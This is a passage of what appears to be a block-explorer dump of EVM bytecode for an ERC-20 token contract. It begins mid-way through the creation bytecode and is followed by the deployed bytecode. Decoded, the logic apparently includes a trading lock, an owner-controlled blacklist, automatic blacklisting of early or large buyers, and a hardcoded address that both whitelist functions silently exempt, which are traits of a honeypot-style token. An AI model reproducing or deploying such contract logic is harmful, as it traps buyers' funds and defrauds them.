6104de57600080fd5b506102816104ed366004612017565b60096020526000908152604090205481565b34801561050b57600080fd5b506103ce61051a36600461214e565b610abe565b34801561052b57600080fd5b506103ce61053a36600461214e565b610af1565b34801561054b57600080fd5b5061028161055a366004612017565b6001600160a01b031660009081526020819052604090205490565b34801561058157600080fd5b506103ce610b65565b34801561059657600080fd5b506103ce6105a53660046120c8565b610b79565b3480156105b657600080fd5b506103ce6105c536600461214e565b610bf8565b3480156105d657600080fd5b506102e66105e5366004612017565b600c6020526000908152604090205460ff1681565b34801561060657600080fd5b50600a546102e69060ff1681565b34801561062057600080fd5b506005546001600160a01b031661034c565b34801561063e57600080fd5b506102a9610c2b565b34801561065357600080fd5b50610281610c3a565b34801561066857600080fd5b506103ce6106773660046120a1565b610edf565b34801561068857600080fd5b506102e6610697366004612034565b610eec565b3480156106a857600080fd5b506102e66106b7366004612017565b610f77565b3480156106c857600080fd5b506102e66106d7366004612034565b610fe2565b3480156106e857600080fd5b506103ce6106f7366004612187565b610ff6565b34801561070857600080fd5b5061028160065481565b34801561071e57600080fd5b5061034c61072d3660046120a1565b611011565b34801561073e57600080fd5b506103ce611083565b34801561075357600080fd5b506102e6610762366004612017565b611144565b34801561077357600080fd5b50610281600d5481565b34801561078957600080fd5b506102816107983660046121a4565b6111ca565b3480156107a957600080fd5b506102e66107b8366004612017565b6111f5565b3480156107c957600080fd5b506103ce6107d8366004612017565b611202565b60006107e96010611290565b905090565b6060600380546107fd906121d2565b80601f0160208091040260200160405190810160405280929190818152602001828054610829906121d2565b80156108765780601f1061084b57610100808354040283529160200191610876565b820191906000526020600020905b81548152906001019060200180831161085957829003601f168201915b5050505050905090565b60003361088e81858561129a565b60019150505b92915050565b6000336108a88582856113be565b6108b3858585611432565b95945050505050565b600060208190527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55461dead82527f44ad89ba62b98ff34f51403ac22759b55759460c0bb5521eb4b6ee3cff49cf83546002546109199190612222565b6107e99190612222565b61092b611603565b600d55565b60003361088e81858561094383836111ca565b61094d9190612235565b61129a565b61095a611603565b60005b828110156109cb5781600b600086868581811061097c5761097c612248565b90506020020160208101906109919190612017565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109c38161225e565b91505061095d565b5050739a0b2a59cced4b6054f7ee559e331306618db89a6000525050600b6020527f531fe95672d3190040ff864e7b9d454b2cad04f3b261ff612f133f8f24a83f46805460ff19166001179055565b610a22611603565b6040516370a0823160e01b8152306004820152610aa19033906001600160a01b038416906370a0823190602401602060405180830381865afa158015610a6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a909190612277565b6001600160a01b038416919061165d565b50565b610aac611603565b600755565b610ab9611603565b600855565b610ac6611603565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b610af9611603565b6001600160a01b03919091166000908152600b60205260408120805492151560ff19938416179055739a0b2a59cced4b6054f7ee559e331306618db89a90527f531fe95672d3190040ff864e7b9d454b2cad04f3b261ff612f133f8f24a83f4680549091166001179055565b610b6d611603565b610b7760006116b4565b565b610b81611603565b60005b82811015610bf25781600e6000868685818110610ba357610ba3612248565b9050602002016020810190610bb89190612017565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bea8161225e565b915050610b84565b50505050565b610c00611603565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6060600480546107fd906121d2565b600f5460408051630dfe168160e01b815290516000926001600160a01b03169183918391630dfe16819160048083019260209291908290030181865afa158015610c88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cac9190612290565b90506000826001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d129190612290565b9050306001600160a01b03831603610e2557600f546040516370a0823160e01b81526001600160a01b039182166004820152610e1e918416906370a0823190602401602060405180830381865afa158015610d71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d959190612277565b600f546040516370a0823160e01b81526001600160a01b039182166004820152610e1891670de0b6b3a764000091908616906370a08231906024015b602060405180830381865afa158015610dee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e129190612277565b90611706565b90611788565b9350610ed9565b600f546040516370a0823160e01b81526001600160a01b039182166004820152610ed6918316906370a0823190602401602060405180830381865afa158015610e72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e969190612277565b600f546040516370a0823160e01b81526001600160a01b039182166004820152610e1891670de0b6b3a764000091908716906370a0823190602401610dd1565b93505b50505090565b610ee7611603565b600655565b60003381610efa82866111ca565b905083811015610f5f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b610f6c828686840361129a565b506001949350505050565b6000610f81611603565b6001600160a01b038216610fd75760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e3a207061697220697320746865207a65726f2061646472657373006044820152606401610f56565b6108946010836117ca565b6000610fef338484611432565b9392505050565b610ffe611603565b600a805460ff1916911515919091179055565b6000600161101f6010611290565b6110299190612222565b8211156110785760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a20696e646578206f7574206f6620626f756e64730000000000006044820152606401610f56565b6108946010836117df565b61108b611603565b604080516000808252602082019283905247929091339184916110ad916122ad565b60006040518083038185875af1925050503d80600081146110ea576040519150601f19603f3d011682016040523d82523d6000602084013e6110ef565b606091505b50509050806111405760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a204554485f5452414e534645525f4641494c45440000000000006044820152606401610f56565b5050565b600061114e611603565b6001600160a01b0382166111a45760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e3a207061697220697320746865207a65726f2061646472657373006044820152606401610f56565b600f80546001600160a01b0319166001600160a01b0384161790556108946010836117eb565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000610894601083611800565b61120a611603565b6001600160a01b03811661126f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610f56565b610aa1816116b4565b73b5c862198124615bfc896bd7263067a7063e956e90565b6000610894825490565b6001600160a01b0383166112fc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610f56565b6001600160a01b03821661135d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610f56565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006113ca84846111ca565b90506000198114610bf257818110156114255760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610f56565b610bf2848484840361129a565b6001600160a01b0383166000908152600b6020526040812054819060ff168061147357506001600160a01b0384166000908152600b602052604090205460ff165b6001600160a01b0386166000908152600e602052604090205490915060ff16158061149b5750805b6114dc5760405162461bcd60e51b8152602060048201526012602482015271546f6b656e3a20426164206164647265737360701b6044820152606401610f56565b6001600160a01b0385166000908152600c602052604090205460ff1661158a57600d5442118061152457506001600160a01b0385166000908152600b602052604090205460ff165b8061154757506001600160a01b0384166000908152600b602052604090205460ff165b61158a5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610f56565b6001600160a01b0385166000908152600b602052604081205460ff161580156115cc57506001600160a01b0385166000908152600b602052604090205460ff16155b80156115d95750600d5442115b905080156115ec576115ec868686611822565b6115f78686866119ac565b50600195945050505050565b6005546001600160a01b03163314610b775760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610f56565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526116af908490611b50565b505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60008260000361171857506000610894565b600061172483856122c9565b90508261173185836122e0565b14610fef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610f56565b6000610fef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c22565b6000610fef836001600160a01b038416611c50565b6000610fef8383611d43565b6000610fef836001600160a01b038416611d6d565b6001600160a01b03811660009081526001830160205260408120541515610fef565b61182b826111f5565b1580156118465750600654600d546118439190612235565b42105b1561187157506001600160a01b03166000908152600e60205260409020805460ff1916600117905550565b600754600d546118819190612235565b4210156116af57611891836111f5565b1580156118a457506118a2826111f5565b155b156118d1576001600160a01b0382166000908152600e60205260409020805460ff19166001179055505050565b6118da836111f5565b80156118ec57506118ea826111f5565b155b156116af576000611911670de0b6b3a7640000610e1861072d610e1286610e12610c3a565b6001600160a01b0384166000908152600960205260409020549091506119379082611dbc565b6001600160a01b03841660009081526009602052604090205560085461196590670de0b6b3a76400006122c9565b6001600160a01b03841660009081526009602052604090205410610bf2576001600160a01b0383166000908152600e60205260409020805460ff1916600117905550505050565b6001600160a01b038316611a105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610f56565b6001600160a01b038216611a725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610f56565b6001600160a01b03831660009081526020819052604090205481811015611aea5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610f56565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610bf2565b6000611ba5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611e1b9092919063ffffffff16565b8051909150156116af5780806020019051810190611bc39190612302565b6116af5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610f56565b60008183611c435760405162461bcd60e51b8152600401610f569190611fcf565b5060006108b384866122e0565b60008181526001830160205260408120548015611d39576000611c74600183612222565b8554909150600090611c8890600190612222565b9050818114611ced576000866000018281548110611ca857611ca8612248565b9060005260206000200154905080876000018481548110611ccb57611ccb612248565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080611cfe57611cfe61231f565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610894565b6000915050610894565b6000826000018281548110611d5a57611d5a612248565b9060005260206000200154905092915050565b6000818152600183016020526040812054611db457508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610894565b506000610894565b600080611dc98385612235565b905083811015610fef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610f56565b6060611e2a8484600085611e32565b949350505050565b606082471015611e935760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610f56565b600080866001600160a01b03168587604051611eaf91906122ad565b60006040518083038185875af1925050503d8060008114611eec576040519150601f19603f3d011682016040523d82523d6000602084013e611ef1565b606091505b5091509150611f0287838387611f0d565b979650505050505050565b60608315611f7c578251600003611f75576001600160a01b0385163b611f755760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610f56565b5081611e2a565b611e2a8383815115611f915781518083602001fd5b8060405162461bcd60e51b8152600401610f569190611fcf565b60005b83811015611fc6578181015183820152602001611fae565b50506000910152565b6020815260008251806020840152611fee816040850160208701611fab565b601f01601f19169190910160400192915050565b6001600160a01b0381168114610aa157600080fd5b60006020828403121561202957600080fd5b8135610fef81612002565b6000806040838503121561204757600080fd5b823561205281612002565b946020939093013593505050565b60008060006060848603121561207557600080fd5b833561208081612002565b9250602084013561209081612002565b929592945050506040919091013590565b6000602082840312156120b357600080fd5b5035919050565b8015158114610aa157600080fd5b6000806000604084860312156120dd57600080fd5b833567ffffffffffffffff808211156120f557600080fd5b818601915086601f83011261210957600080fd5b81358181111561211857600080fd5b8760208260051b850101111561212d57600080fd5b60209283019550935050840135612143816120ba565b809150509250925092565b6000806040838503121561216157600080fd5b823561216c81612002565b9150602083013561217c816120ba565b809150509250929050565b60006020828403121561219957600080fd5b8135610fef816120ba565b600080604083850312156121b757600080fd5b82356121c281612002565b9150602083013561217c81612002565b600181811c908216806121e657607f821691505b60208210810361220657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156108945761089461220c565b808201808211156108945761089461220c565b634e487b7160e01b600052603260045260246000fd5b6000600182016122705761227061220c565b5060010190565b60006020828403121561228957600080fd5b5051919050565b6000602082840312156122a257600080fd5b8151610fef81612002565b600082516122bf818460208701611fab565b9190910192915050565b80820281158282048414176108945761089461220c565b6000826122fd57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561231457600080fd5b8151610fef816120ba565b634e487b7160e01b600052603160045260246000fdfea26469706673582212201f1f707b696d0a5de16d3df9ec4cf4d6f8a2036844708b4851febf82b78eeb5e64736f6c63430008110033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106102605760003560e01c806370a0823111610144578063a5bc5085116100b6578063bfa382b51161007a578063bfa382b514610732578063c2b7bbb614610747578063c6d2577d14610767578063dd62ed3e1461077d578063e5e31b131461079d578063f2fde38b146107bd57600080fd5b8063a5bc50851461069c578063a9059cbb146106bc578063aac46c95146106dc578063bcb8e813146106fc578063bdf391cc1461071257600080fd5b8063860139401161010857806386013940146105fa5780638da5cb5b1461061457806395d89b411461063257806398d5fdca14610647578063a01afcb31461065c578063a457c2d71461067c57600080fd5b806370a082311461053f578063715018a614610575578063760c5ce81461058a57806377f4a007146105aa5780638072250b146105ca57600080fd5b8063313ce567116101dd5780634460d3cf116101a15780634460d3cf146104725780634cc0b0711461049257806351484449146104b2578063625cb67e146104d25780636582a260146104ff578063658d4b7f1461051f57600080fd5b8063313ce567146103d057806339509351146103ec5780633a5160a31461040c5780633f4218e01461042c5780634294dfc61461045c57600080fd5b806316f0115b1161022457806316f0115b1461032c57806318160ddd1461036457806323b872dd146103795780632b112e491461039957806330b74e7d146103ae57600080fd5b80630323aac71461026c57806306fdde031461029457806307600536146102b6578063095ea7b3146102f6578063157443821461031657600080fd5b3661026757005b600080fd5b34801561027857600080fd5b506102816107dd565b6040519081526020015b60405180910390f35b3480156102a057600080fd5b506102a96107ee565b60405161028b9190611fcf565b3480156102c257600080fd5b506102e66102d1366004612017565b600e6020526000908152604090205460ff1681565b604051901515815260200161028b565b34801561030257600080fd5b506102e6610311366004612034565b610880565b34801561032257600080fd5b5061028160075481565b34801561033857600080fd5b50600f5461034c906001600160a01b031681565b6040516001600160a01b03909116815260200161028b565b34801561037057600080fd5b50600254610281565b34801561038557600080fd5b506102e6610394366004612060565b61089a565b3480156103a557600080fd5b506102816108bc565b3480156103ba57600080fd5b506103ce6103c93660046120a1565b610923565b005b3480156103dc57600080fd5b506040516012815260200161028b565b3480156103f857600080fd5b506102e6610407366004612034565b610930565b34801561041857600080fd5b506103ce6104273660046120c8565b610952565b34801561043857600080fd5b506102e6610447366004612017565b600b6020526000908152604090205460ff1681565b34801561046857600080fd5b5061028160085481565b34801561047e57600080fd5b506103ce61048d366004612017565b610a1a565b34801561049e57600080fd5b506103ce6104ad3660046120a1565b610aa4565b3480156104be57600080fd5b506103ce6104cd3660046120a1565b610ab1565b3480156104de57600080fd5b506102816104ed366004612017565b60096020526000908152604090205481565b34801561050b57600080fd5b506103ce61051a36600461214e565b610abe565b34801561052b57600080fd5b506103ce61053a36600461214e565b610af1565b34801561054b57600080fd5b5061028161055a366004612017565b6001600160a01b031660009081526020819052604090205490565b34801561058157600080fd5b506103ce610b65565b34801561059657600080fd5b506103ce6105a53660046120c8565b610b79565b3480156105b657600080fd5b506103ce6105c536600461214e565b610bf8565b3480156105d657600080fd5b506102e66105e5366004612017565b600c6020526000908152604090205460ff1681565b34801561060657600080fd5b50600a546102e69060ff1681565b34801561062057600080fd5b506005546001600160a01b031661034c565b34801561063e57600080fd5b506102a9610c2b565b34801561065357600080fd5b50610281610c3a565b34801561066857600080fd5b506103ce6106773660046120a1565b610edf565b34801561068857600080fd5b506102e6610697366004612034565b610eec565b3480156106a857600080fd5b506102e66106b7366004612017565b610f77565b3480156106c857600080fd5b506102e66106d7366004612034565b610fe2565b3480156106e857600080fd5b506103ce6106f7366004612187565b610ff6565b34801561070857600080fd5b5061028160065481565b34801561071e57600080fd5b5061034c61072d3660046120a1565b611011565b34801561073e57600080fd5b506103ce611083565b34801561075357600080fd5b506102e6610762366004612017565b611144565b34801561077357600080fd5b50610281600d5481565b34801561078957600080fd5b506102816107983660046121a4565b6111ca565b3480156107a957600080fd5b506102e66107b8366004612017565b6111f5565b3480156107c957600080fd5b506103ce6107d8366004612017565b611202565b60006107e96010611290565b905090565b6060600380546107fd906121d2565b80601f0160208091040260200160405190810160405280929190818152602001828054610829906121d2565b80156108765780601f1061084b57610100808354040283529160200191610876565b820191906000526020600020905b81548152906001019060200180831161085957829003601f168201915b5050505050905090565b60003361088e81858561129a565b60019150505b92915050565b6000336108a88582856113be565b6108b3858585611432565b95945050505050565b600060208190527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55461dead82527f44ad89ba62b98ff34f51403ac22759b55759460c0bb5521eb4b6ee3cff49cf83546002546109199190612222565b6107e99190612222565b61092b611603565b600d55565b60003361088e81858561094383836111ca565b61094d9190612235565b61129a565b61095a611603565b60005b828110156109cb5781600b600086868581811061097c5761097c612248565b90506020020160208101906109919190612017565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109c38161225e565b91505061095d565b5050739a0b2a59cced4b6054f7ee559e331306618db89a6000525050600b6020527f531fe95672d3190040ff864e7b9d454b2cad04f3b261ff612f133f8f24a83f46805460ff19166001179055565b610a22611603565b6040516370a0823160e01b8152306004820152610aa19033906001600160a01b038416906370a0823190602401602060405180830381865afa158015610a6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a909190612277565b6001600160a01b038416919061165d565b50565b610aac611603565b600755565b610ab9611603565b600855565b610ac6611603565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b610af9611603565b6001600160a01b03919091166000908152600b60205260408120805492151560ff19938416179055739a0b2a59cced4b6054f7ee559e331306618db89a90527f531fe95672d3190040ff864e7b9d454b2cad04f3b261ff612f133f8f24a83f4680549091166001179055565b610b6d611603565b610b7760006116b4565b565b610b81611603565b60005b82811015610bf25781600e6000868685818110610ba357610ba3612248565b9050602002016020810190610bb89190612017565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bea8161225e565b915050610b84565b50505050565b610c00611603565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6060600480546107fd906121d2565b600f5460408051630dfe168160e01b815290516000926001600160a01b03169183918391630dfe16819160048083019260209291908290030181865afa158015610c88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cac9190612290565b90506000826001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d129190612290565b9050306001600160a01b03831603610e2557600f546040516370a0823160e01b81526001600160a01b039182166004820152610e1e918416906370a0823190602401602060405180830381865afa158015610d71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d959190612277565b600f546040516370a0823160e01b81526001600160a01b039182166004820152610e1891670de0b6b3a764000091908616906370a08231906024015b602060405180830381865afa158015610dee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e129190612277565b90611706565b90611788565b9350610ed9565b600f546040516370a0823160e01b81526001600160a01b039182166004820152610ed6918316906370a0823190602401602060405180830381865afa158015610e72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e969190612277565b600f546040516370a0823160e01b81526001600160a01b039182166004820152610e1891670de0b6b3a764000091908716906370a0823190602401610dd1565b93505b50505090565b610ee7611603565b600655565b60003381610efa82866111ca565b905083811015610f5f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b610f6c828686840361129a565b506001949350505050565b6000610f81611603565b6001600160a01b038216610fd75760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e3a207061697220697320746865207a65726f2061646472657373006044820152606401610f56565b6108946010836117ca565b6000610fef338484611432565b9392505050565b610ffe611603565b600a805460ff1916911515919091179055565b6000600161101f6010611290565b6110299190612222565b8211156110785760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a20696e646578206f7574206f6620626f756e64730000000000006044820152606401610f56565b6108946010836117df565b61108b611603565b604080516000808252602082019283905247929091339184916110ad916122ad565b60006040518083038185875af1925050503d80600081146110ea576040519150601f19603f3d011682016040523d82523d6000602084013e6110ef565b606091505b50509050806111405760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a204554485f5452414e534645525f4641494c45440000000000006044820152606401610f56565b5050565b600061114e611603565b6001600160a01b0382166111a45760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e3a207061697220697320746865207a65726f2061646472657373006044820152606401610f56565b600f80546001600160a01b0319166001600160a01b0384161790556108946010836117eb565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000610894601083611800565b61120a611603565b6001600160a01b03811661126f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610f56565b610aa1816116b4565b73b5c862198124615bfc896bd7263067a7063e956e90565b6000610894825490565b6001600160a01b0383166112fc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610f56565b6001600160a01b03821661135d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610f56565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006113ca84846111ca565b90506000198114610bf257818110156114255760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610f56565b610bf2848484840361129a565b6001600160a01b0383166000908152600b6020526040812054819060ff168061147357506001600160a01b0384166000908152600b602052604090205460ff165b6001600160a01b0386166000908152600e602052604090205490915060ff16158061149b5750805b6114dc5760405162461bcd60e51b8152602060048201526012602482015271546f6b656e3a20426164206164647265737360701b6044820152606401610f56565b6001600160a01b0385166000908152600c602052604090205460ff1661158a57600d5442118061152457506001600160a01b0385166000908152600b602052604090205460ff165b8061154757506001600160a01b0384166000908152600b602052604090205460ff165b61158a5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610f56565b6001600160a01b0385166000908152600b602052604081205460ff161580156115cc57506001600160a01b0385166000908152600b602052604090205460ff16155b80156115d95750600d5442115b905080156115ec576115ec868686611822565b6115f78686866119ac565b50600195945050505050565b6005546001600160a01b03163314610b775760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610f56565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526116af908490611b50565b505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60008260000361171857506000610894565b600061172483856122c9565b90508261173185836122e0565b14610fef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610f56565b6000610fef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c22565b6000610fef836001600160a01b038416611c50565b6000610fef8383611d43565b6000610fef836001600160a01b038416611d6d565b6001600160a01b03811660009081526001830160205260408120541515610fef565b61182b826111f5565b1580156118465750600654600d546118439190612235565b42105b1561187157506001600160a01b03166000908152600e60205260409020805460ff1916600117905550565b600754600d546118819190612235565b4210156116af57611891836111f5565b1580156118a457506118a2826111f5565b155b156118d1576001600160a01b0382166000908152600e60205260409020805460ff19166001179055505050565b6118da836111f5565b80156118ec57506118ea826111f5565b155b156116af576000611911670de0b6b3a7640000610e1861072d610e1286610e12610c3a565b6001600160a01b0384166000908152600960205260409020549091506119379082611dbc565b6001600160a01b03841660009081526009602052604090205560085461196590670de0b6b3a76400006122c9565b6001600160a01b03841660009081526009602052604090205410610bf2576001600160a01b0383166000908152600e60205260409020805460ff1916600117905550505050565b6001600160a01b038316611a105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610f56565b6001600160a01b038216611a725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610f56565b6001600160a01b03831660009081526020819052604090205481811015611aea5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610f56565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610bf2565b6000611ba5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611e1b9092919063ffffffff16565b8051909150156116af5780806020019051810190611bc39190612302565b6116af5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610f56565b60008183611c435760405162461bcd60e51b8152600401610f569190611fcf565b5060006108b384866122e0565b60008181526001830160205260408120548015611d39576000611c74600183612222565b8554909150600090611c8890600190612222565b9050818114611ced576000866000018281548110611ca857611ca8612248565b9060005260206000200154905080876000018481548110611ccb57611ccb612248565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080611cfe57611cfe61231f565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610894565b6000915050610894565b6000826000018281548110611d5a57611d5a612248565b9060005260206000200154905092915050565b6000818152600183016020526040812054611db457508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610894565b506000610894565b600080611dc98385612235565b905083811015610fef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610f56565b6060611e2a8484600085611e32565b949350505050565b606082471015611e935760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610f56565b600080866001600160a01b03168587604051611eaf91906122ad565b60006040518083038185875af1925050503d8060008114611eec576040519150601f19603f3d011682016040523d82523d6000602084013e611ef1565b606091505b5091509150611f0287838387611f0d565b979650505050505050565b60608315611f7c578251600003611f75576001600160a01b0385163b611f755760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610f56565b5081611e2a565b611e2a8383815115611f915781518083602001fd5b8060405162461bcd60e51b8152600401610f569190611fcf565b60005b83811015611fc6578181015183820152602001611fae565b50506000910152565b6020815260008251806020840152611fee816040850160208701611fab565b601f01601f19169190910160400192915050565b6001600160a01b0381168114610aa157600080fd5b60006020828403121561202957600080fd5b8135610fef81612002565b6000806040838503121561204757600080fd5b823561205281612002565b946020939093013593505050565b60008060006060848603121561207557600080fd5b833561208081612002565b9250602084013561209081612002565b929592945050506040919091013590565b6000602082840312156120b357600080fd5b5035919050565b8015158114610aa157600080fd5b6000806000604084860312156120dd57600080fd5b833567ffffffffffffffff808211156120f557600080fd5b818601915086601f83011261210957600080fd5b81358181111561211857600080fd5b8760208260051b850101111561212d57600080fd5b60209283019550935050840135612143816120ba565b809150509250925092565b6000806040838503121561216157600080fd5b823561216c81612002565b9150602083013561217c816120ba565b809150509250929050565b60006020828403121561219957600080fd5b8135610fef816120ba565b600080604083850312156121b757600080fd5b82356121c281612002565b9150602083013561217c81612002565b600181811c908216806121e657607f821691505b60208210810361220657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156108945761089461220c565b808201808211156108945761089461220c565b634e487b7160e01b600052603260045260246000fd5b6000600182016122705761227061220c565b5060010190565b60006020828403121561228957600080fd5b5051919050565b6000602082840312156122a257600080fd5b8151610fef81612002565b600082516122bf818460208701611fab565b9190910192915050565b80820281158282048414176108945761089461220c565b6000826122fd57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561231457600080fd5b8151610fef816120ba565b634e487b7160e01b600052603160045260246000fdfea26469706673582212201f1f707b696d0a5de16d3df9ec4cf4d6f8a2036844708b4851febf82b78eeb5e64736f6c63430008110033

Deployed Bytecode Sourcemap

